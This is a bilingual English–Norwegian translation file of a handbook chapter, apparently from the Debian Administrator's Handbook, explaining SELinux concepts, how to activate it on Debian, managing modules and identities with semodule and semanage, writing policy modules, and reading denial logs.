nb-NO: SELinux (<emphasis>Security Enhanced Linux</emphasis>) er et <emphasis>Mandatory Access Control</emphasis>-system som bygger på Linux sin LSM-grensesnitt (<emphasis>Linux Security Modules</emphasis>). I praksis spør kjernen SELinux før hver systempåkalling for å vite om prosessen er autorisert til å gjøre den gitte operasjonen.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
nb-NO: SELinux bruker et sett med regler - kollektivt kjent som en <emphasis>policy</emphasis> - for å godkjenne eller forby operasjoner. Disse reglene er vanskelige å lage. Heldigvis er to standardregler (<emphasis>targeted (målrettet)</emphasis> og <emphasis>strict (strengt)</emphasis>) laget for å unngå mesteparten av oppsettsarbeidet.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
nb-NO: Med SELinux er håndteringen av rettighetene helt forskjellig fra tradisjonelle Unix-systemer. Rettighetene til en prosess er avhengig av sin <emphasis>sikkerhetskontekst </emphasis>. Denne konteksten er definert av <emphasis>identiteten</emphasis> til brukeren som startet prosessen, <emphasis>rollen</emphasis> og <emphasis>domenet</emphasis> som brukeren hadde med seg på det tidspunktet. Rettighetene er egentlig avhengig av domenet, men overgangene mellom domenene er kontrollert av rollene. Til slutt; de mulige overgangene mellom roller avhenger av identiteten.

en: Security contexts and Unix users
nb-NO: Sikkerhetskontekster og Unix-brukere

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
nb-NO: I praksis får brukeren, under innlogging, tildelt en forvalgt sikkerhetskontekst (avhengig av hvilke roller de skal være i stand til å støtte). Dette definerer det gjeldende domenet, og dermed domenet som alle nye avleggerprosesser vil ha. Hvis du ønsker å endre nåværende rolle og tilhørende domene, må du påkalle <command>newrole -r <replaceable>rolle_r</replaceable> -t <replaceable>domene_t</replaceable></command> (det er vanligvis bare ett enkelt domene som er tillatt for en gitt rolle, <literal>-t</literal>-parameteren kan derfor utelates). Denne kommandoen godkjenner deg ved å be deg skrive inn passordet ditt. Denne funksjonen forbyr programmer å automatisk bytte roller. Slike endringer kan bare skje dersom de er uttrykkelig tillatt i SELinux-praksis.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
nb-NO: Selvsagt gjelder ikke rettighetene for alle <emphasis>objekter</emphasis> (filer, kataloger, stikkontakter, enheter, etc.). De kan variere fra objekt til objekt. For å oppnå dette blir hvert objekt assosiert med en <emphasis>type</emphasis> (dette kalles merking). Domenene sine rettigheter er dermed uttrykt med sett av (ikke-)tillatte operasjoner for disse typene (og, indirekte, for alle objekter som er merket med den gitte typen).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
nb-NO: <emphasis>EKSTRA</emphasis> Domener og typer er det samme

en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
nb-NO: Internt er et domene bare en type, men en type som bare gjelder for prosesser. Det er derfor domener har suffikset <literal>_t</literal>, akkurat likt objektenes typer.

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
nb-NO: Som standard arver et program sitt domene fra brukeren som startet det, men standard SELinux-politikk forventer at mange viktige programmer kjører i øremerkede domener. For å oppnå dette er disse kjørbare filer merket med en øremerket type (for eksempel er <command>ssh_t</command> merket med <literal>ssh_exec_t</literal>, og når et program starter, skifter det automatisk til <literal>ssh_t</literal>-domenet). Denne automatiske domene-overgangsmekanismen gjør det mulig å gi bare de rettigheter som kreves av hvert program. Dette er et grunnleggende prinsipp for SELinux.

en: Automatic transitions between domains
nb-NO: Automatiske overganger mellom domener

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
nb-NO: <emphasis>IN PRACTICE</emphasis> Å finne sikkerhetskonteksten

en: <primary>context, security context</primary>
nb-NO: <primary>kontekst, sikkerhetskontekst </primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
nb-NO: For å finne den gjeldende sikkerhetskonteksten i et skall, bør du påkalle <command>id -Z</command>.

en: If you receive a message saying <errortext>id: --context (-Z) works only on an SELinux-enabled kernel</errortext> instead, then you need to enable SELinux first by running <command>selinux-activate</command> and rebooting.
nb-NO: Hvis du får en melding som lyder <errortext>id: --context (-Z) works only on an SELinux-enabled kernel</errortext> istedenfr må du skru på SELinux først ved å kjøre <command>selinux-activate</command> og så starte maskinen på ny.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
nb-NO: For å finne sikkerhetskonteksten for en gitt prosess bør du bruke <literal>Z</literal>-argumentet til <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
nb-NO: Det første feltet inneholder identitet, rolle, domenet og MCS-nivå, atskilt med kolon. MCS-nivået (<emphasis>Multi-Category Security</emphasis>) er et parameter som griper inn i oppsettet av en taushetsbeskyttelsespolitikk, som regulerer tilgang til filer basert på deres følsomhet. Denne funksjonen blir ikke forklart i denne boken.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
nb-NO: Til slutt, for å finne en type knyttet til en fil, kan du bruke <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
nb-NO: Det er verdt å merke seg at identitet og rolle tilordnet til en fil, ikke har noen spesiell betydning (de er aldri brukt), men av hensyn til ensartetheten blir alle objekter tildelt en komplett sikkerhetskontekst.

en: Setting Up SELinux
nb-NO: Oppsett av SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
nb-NO: SELinux-støtte er innebygd i standardkjernene som følger med Debian. De grunnleggende Unix-verktøyene støtter SELinux uten noen modifikasjoner. Det er dermed relativt enkelt å aktivere SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
nb-NO: Pakken <emphasis role="pkg">selinux-policy-default</emphasis> inneholder et sett med vanlige regler. Som standard begrenser disse reglene kun tilgang til noen allment synlige tjenester. Brukerøkter er ikke begrenset, og det er derfor usannsynlig at SELinux ville blokkere legitime brukeroperasjoner. Men dette forbedrer sikkerheten i systemtjenester som kjører på maskinen. For å sette opp et opplegg som tilsvarer de gamle «strenge» reglene, er det bare å deaktivere <literal>unconfined</literal>-modulen (modulhåndtering er beskrevet nærmere i denne seksjonen).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
nb-NO: Når opplegget er installert, bør du merke alle tilgjengelige filer (som betyr å tildele dem en type). Denne operasjonen må startes manuelt med <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
nb-NO: SELinux-systemet er nå klart. For å aktivere det bør du legge <literal>selinux=1 security=selinux</literal>-parameteret til Linux-kjernen. Parameteret <literal>audit=1</literal> aktiverer SELinux-logging med registrering av alle de nektede operasjonene. Endelig tar <literal>enforcing=1</literal>-parameteret reglene i bruk: Uten det virker SELinux i sin standard <emphasis>tillatende</emphasis> modus der avviste handlinger logges, men fremdeles blir utført. Du bør derfor endre GRUBs oppsettsfil for oppstart ved å legge til de ønskede parameterne. En enkel måte å gjøre dette på er å modifisere <literal>GRUB_CMDLINE_LINUX</literal>-variabelen i <filename>/etc/default/grub</filename>, og så å kjøre <command>update-grub</command>. Etter omstart vil SELinux være aktivert.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
nb-NO: Det er verdt å merke seg at <command>selinux-activate</command>-skriptet automatiserer disse operasjonene, og tvinger en merking ved neste oppstart (som unngår nye ikke-merkede filer som ble opprettet mens SELinux ennå ikke var aktiv, og mens merking foregikk).

en: Managing an SELinux System
nb-NO: Å håndtere et SELinux-system

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
nb-NO: SELinux-opplegget er et modulbasert sett med regler, og installasjonen oppdager og aktiverer automatisk alle relevante moduler basert på de allerede installerte tjenestene. Systemet er dermed umiddelbart i drift. Men når en tjeneste er installert etter SELinux-opplegget, må du klare å aktivere den tilsvarende modulen manuelt. Det er hensikten med <command>semodule</command>-kommandoen. Videre må du klare å definere rollene som hver bruker kan slutte seg til, og dette kan gjøres med <command>semanage</command>-kommandoen.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
nb-NO: De to kommandoene kan dermed brukes til å endre det gjeldende SELinux-oppsettet, lagret i <filename>/etc/selinux/default/</filename>. I motsetning til andre oppsettfiler du finner i <filename>/etc/</filename>, skal ikke alle disse filene endres for hånd. Du bør bruke programmer som er laget til dette formålet.

en: <emphasis>GOING FURTHER</emphasis> More documentation
nb-NO: <emphasis>FOR VIDEREKOMMENDE</emphasis> Mer dokumentasjon

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
nb-NO: Ettersom NSA ikke gir noen offisiell dokumentasjon, har fellesskapet satt opp en Wiki for å kompensere. Den bringer sammen en masse informasjon, men du må være klar over at de fleste SELinux-bidragsytere er Fedora-brukere (der SELinux er aktivert som standard). Dokumentasjonen tenderer dermed til å håndtere spesielt denne distribusjonen. <ulink type="block" url="https://selinuxproject.org" />

en: You should also have a look at the dedicated Debian wiki page. <ulink type="block" url="https://wiki.debian.org/SELinux" />
nb-NO: Ta en titt på respektiv Debian-wiki-side. <ulink type="block" url="https://wiki.debian.org/SELinux" />

en: Managing SELinux Modules
nb-NO: Å håndtere SELinux-moduler

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
nb-NO: Tilgjengelige SELinux-moduler er lagret i <filename>/usr/share/selinux/default/</filename>-mappen. For å aktivere en av disse modulene i det gjeldende oppsettet bør du bruke <command>semodule -i <replaceable>modul.pp.bz2</replaceable></command>. Forlengelsen <emphasis>pp.bz2</emphasis> står for <emphasis>policy package (regelpakke)</emphasis> (komprimert med bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
nb-NO: Å fjerne en modul fra det gjeldende oppsettet gjøres med <command>semodule -r <replaceable>modul</replaceable></command>. Til slutt, lister <command>semodule -l</command>-kommandoen modulene som er installert. De gir også sine versjonsnumre. Moduler kan selektivt aktiveres med <command>semodule -e</command>, og slås av med <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
nb-NO: <command>semodule</command> laster umiddelbart det nye oppsettet om ikke du bruker dens <literal>-n</literal>-valg. Det er verdt å merke seg at programmet er standard på det gjeldende oppsettet (som er angitt av <literal>SELINUXTYPE</literal>-variabelen i <filename>/etc/selinux/config</filename>), men at du kan endre en annen ved å spesifisere den med <literal>-s</literal>-valget.

en: Managing Identities
nb-NO: Håndtering av identiteter

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
nb-NO: Hver gang en bruker logger inn, får den tildelt en SELinux-identitet. Denne identiteten definerer rollene brukeren kan støtte. Disse to koblingene (fra brukeren til identiteten, og fra denne identiteten til roller) kan settes opp med <command>semanage</command>-kommandoen.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
nb-NO: <command>semanage login -l</command> lister gjeldende koblinger mellom brukeridentifikatorer og SELinux-identiteter. Brukere som ikke har noen eksplisitt angitt oppføring, får koblet sin identitet til <literal>__default__</literal>-oppføringen. <command >semanage login -a -s user_u <replaceable>bruker</replaceable></command>-kommandoen vil knytte <emphasis>user_u</emphasis>-identiteten til den gitte brukeren. Til slutt, <command>semanage login -d <replaceable>bruker</replaceable></command> dropper koblingen tilknyttet denne brukeren.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
nb-NO: <command>semanage user -l</command> viser adresseringen mellom SELinux-brukeridentiteter og tillatte roller. Å legge til en ny identitet krever å definere både de tilsvarende rollene og en merkingsforstavelse som brukes til å tilordne en type til personlige filer (<filename>/home/<replaceable>bruker</replaceable>/*</filename>). Forstavelsen må velges mellom <literal>user</literal>, <literal>staff</literal>, og <literal>sysadm</literal>. «<literal>staff</literal>»-forstavelsen resulterer i filer av typen «<literal>staff_home_dir_t</literal>». Å lage en ny SELinux-brukeridentitet gjøres med <command>semanage user -a -R <replaceable>roller</replaceable> -P <replaceable>prefiks</replaceable> <replaceable>identitet</replaceable></command>. Til slutt; du kan fjerne en SELinux-brukeridentitet med <command>semanage user -d <replaceable>identitet</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
nb-NO: Å håndtere filkontekster, porter og boolske verdier

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
nb-NO: Hver SELinux-modul har et sett av filmerkingsregler, men det er også mulig å legge til egendefinerte regler for merking for å ta hensyn til et bestemt tilfelle. For eksempel, hvis du vil at nett-tjeneren skal kunne lese filene i <filename>/srv/www/</filename>-filhierarkiet, kan du kjøre <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command>, fulgt av <command>restorecon -R /srv/www/</command>. Førstnevnte kommando registrerer nye regler for merking, og sistnevnte tilbakestiller filtypene etter gjeldende regler for merking.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
nb-NO: Tilsvarende er TCP/UDP-portene merket på en måte som sikrer at bare de tilsvarende bakgrunnsprosessene kan lytte til dem. For eksempel, hvis du vil at nett-tjeneren skal kunne lytte på port 8080, bør du kjøre <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
nb-NO: Å tilpasse reglene

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
nb-NO: Siden SELinux-opplegget er modulbasert, kan det være interessant å utvikle nye moduler for (muligens tilpassede) programmer som mangler dem. Disse nye modulene vil da komplettere <emphasis>referanseregler</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
nb-NO: For å lage nye moduler kreves <emphasis role="pkg">selinux-policy-dev</emphasis>-pakken så vel som <emphasis role="pkg">selinux-policy-doc</emphasis>. Den siste inneholder dokumentasjonen om standardreglene (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) og eksempelfiler som kan brukes som maler for å lage nye moduler. Installer disse filene, og studer dem nærmere:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
nb-NO: Filen <filename>.te</filename> er den viktigste. Den definerer reglene. Filen <filename>.fc</filename> definerer «filkonteksten»; det er typene som er tilordnet filer knyttet til denne modulen. Dataene inni <filename>.fc</filename>-filen brukes under filmerkingstrinnet. Endelig definerer <filename>.if</filename>-filen modulens grensesnitt. Det er et sett med «offentlige funksjoner» som andre moduler kan bruke til en riktig samhandling med modulen du oppretter.

en: Writing a <filename>.fc</filename> file
nb-NO: Å skrive en <filename>.fc</filename>-fil

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
nb-NO: Å lese eksemplet nedenfor bør være tilstrekkelig til å forstå strukturen i en slik fil. Du kan bruke vanlige uttrykk for å tilordne den samme sikkerhetskonteksten til flere filer, eller til og med til et helt katalogtre.

en: <filename>example.fc</filename> file
nb-NO: filen <filename>eksempel.fc</filename>

en: Writing a <filename>.if</filename> File
nb-NO: Å skrive en <filename>.if</filename>-fil

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
nb-NO: I eksemplet nedenfor kontrollerer det første grensesnittet (“<literal>myapp_domtrans</literal>”) hvem som kan kjøre programmet. Det andre («<literal>myapp_read_log</literal>») gir leserettigheter til programmets loggfiler.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
nb-NO: Hvert grensesnitt må generere et gyldig sett med regler som kan legges inn i en <filename>.te</filename>-fil. Du bør derfor erklære alle typene du bruker (med <literal>gen_require</literal>-makro), og bruke standarddirektiver for å gi rettigheter. Vær imidlertid oppmerksom på at du kan bruke grensesnitt som tilbys av andre moduler. Den neste seksjonen vil gi flere forklaringer om hvordan disse rettighetene skal uttrykkes.

en: <filename>example.if</filename> File
nb-NO: <filename>eksempel.if</filename>-fil

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
nb-NO: <emphasis>DOKUMENTASJON</emphasis> Forklaringer av <emphasis>referanseregler</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
nb-NO: <emphasis>Referanseregler</emphasis> utvikler seg som alle frie programvareprosjekter: basert på frivillige bidrag. Tresys er vert for prosjektet, et av de mest aktive selskapene på SELinux-feltet. Wikien deres har forklaringer på hvordan reglene er strukturert, og hvordan du kan lage nye. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
nb-NO: Å skrive en <filename>.te</filename>-fil

en: Have a look at the <filename>example.te</filename> file:
nb-NO: Se på <filename>eksempel.te</filename>-filen:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
nb-NO: <emphasis>FOR VIDEREKOMMENDE</emphasis> Makrospråket <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
nb-NO: For å strukturere opplegget riktig brukte SELinux-utviklerne en makro-kommandoprosessor. I stedet for å duplisere mange lignende <emphasis>tillat</emphasis>-direktiver, laget de «makrofunksjoner» for å bruke en logikk på et høyere nivå, som også resulterer i et mye mer lesbart opplegg.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
nb-NO: I praksis blir <command>m4</command> brukt til å sette sammen disse reglene. Den gjør den motsatte operasjonen: Den oversetter alle disse direktivene på et høyere nivå til en stor database av <emphasis>allow</emphasis>-direktiver.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
nb-NO: SELinux-«grensesnittene» er bare makrofunksjoner som vil bli erstattet av et sett med regler på kompileringstidspunktet. På samme måte er noen rettigheter faktisk sett av rettigheter som er byttet ut med sine verdier på kompileringstidspunktet.

en: The module must be identified by its name and version number. This directive is required.
nb-NO: Modulen må identifiseres med navn og versjonsnummer. Dette direktivet er nødvendig.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
nb-NO: Hvis modulen introduserer nye typer, må den si ifra om dem med direktiver som dette. Ikke nøl med å lage så mange typer som kreves i stedet for å gi for mange ubrukelige rettigheter.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
nb-NO: Disse grensesnittene definerer <literal>myapp_t</literal>-typen som et prosessdomene som skal brukes av alle kjørbare merket med <literal>myapp_exec_t</literal>. Implisitt legger de til en <literal>exec_type</literal>-attributt til disse objektene, som igjen tillater andre moduler å tildele rettigheter til å kjøre disse programmene, for eksempel tillater <literal>userdomain</literal>-modulen prosesser med domene <literal>user_t</literal>, <literal>staff_t</literal> og <literal>sysadm_t</literal> å kjøre dem. Domenene til andre avstengte programmer vil ikke ha rettigheter til å kjøre dem, med mindre reglene gir dem lignende rettigheter (dette er tilfelle, for eksempel, med <command>dpkg</command> med sitt <literal>dpkg_t</literal>-domene).

en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
nb-NO: <literal>logging_log_file</literal> er et grensesnitt som tilbys av referanseopplegget. Det indikerer at filene som er merket med den gitte typen, er loggfiler som burde dra nytte av de tilhørende reglene (for eksempel å gi rettigheter til <command>logrotate</command> slik at den kan håndtere dem).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
nb-NO: Direktivet <literal>allow</literal> er basisdirektivet som brukes til å godkjenne en operasjon. Den første parameteren er prosessdomenet som har lov til å utføre operasjonen. Det andre definerer objektet som en prosess som det tidligere domenet kan håndtere. Denne parameteren har formen «<replaceable>type</replaceable>:<replaceable>klasse</replaceable>», der <replaceable>type</replaceable> er dens SELinux-type og <replaceable>klasse</replaceable> beskriver hva slags objekt det er snakk om (fil, mappe, socket, fifo, etc.). Til slutt beskriver den siste parameteren tillatelsene (de tillatte operasjonene).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
nb-NO: Tillatelser er definert som et sett av tillatte operasjoner, og følger denne malen: <literal>{ <replaceable>operasjon1</replaceable> <replaceable>operasjon2</replaceable> }</literal>. Men du kan også bruke makroer som representerer de nyttigste tillatelsene. <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lister dem opp.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
nb-NO: Følgende nettside gir en relativt uttømmende liste over objektklasser og tillatelser som kan gis. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
nb-NO: Nå er det bare å finne det minimale settet med regler som kreves for å sikre at målprogrammet eller tjenesten fungerer riktig. For å oppnå dette bør du ha god kunnskap om hvordan programmet fungerer og hva slags data det styrer og/eller genererer.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
nb-NO: Imidlertid er en empirisk tilnærming mulig. Etter at de relevante objektene er korrekt merket, kan du bruke programmet i tillatelsesmodus: Operasjonene som vil bli forbudt blir logget, men vil likevel lykkes. Ved å analysere loggene kan du nå identifisere operasjoner som skal tillates. Her er et eksempel på en slik loggoppføring :

en: To better understand this message, let us study it piece by piece.
nb-NO: For bedre å forstå dette budskapet, la oss studere det bit for bit.

en: Analysis of an SELinux trace
nb-NO: Analyse av et SELinux-spor

en: Message
nb-NO: Budskap

en: Description
nb-NO: Beskrivelse

en: An operation has been denied.
nb-NO: En operasjon er nektet.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
nb-NO: Denne operasjonen krevde <literal>read</literal>- og <literal>write</literal>-tillatelsene.

en: The process with PID 1876 executed the operation (or tried to execute it).
nb-NO: Prosessen med PID 1876 kjørte operasjonen (eller forsøkt å utføre den).

en: The process was an instance of the <literal>syslogd</literal> program.
nb-NO: Prosessen var et tilfelle av <literal>syslogd</literal>-programmet.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
nb-NO: Målobjektet ble navngitt <literal>xconsole</literal>. Noen ganger kan du også ha en «sti»-variabel - med hele banen - i stedet.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
nb-NO: Enheten som er vert for målobjektet er et <literal>tmpfs</literal> (et i-minne-filsystem). Med en ekte disk kan du se at partisjonen er vert for objektet (for eksempel «sda3»).

en: The object is identified by the inode number 5510.
nb-NO: Objektet er identifisert med inode-nummer 5510.

en: This is the security context of the process who executed the operation.
nb-NO: Dette er sikkerhetskonteksten for prosessen som utførte operasjonen.

en: This is the security context of the target object.
nb-NO: Dette er sikkerhetskontektsen til målobjektet.

en: The target object is a FIFO file.
nb-NO: Målobjektet er en FIFO-fil.

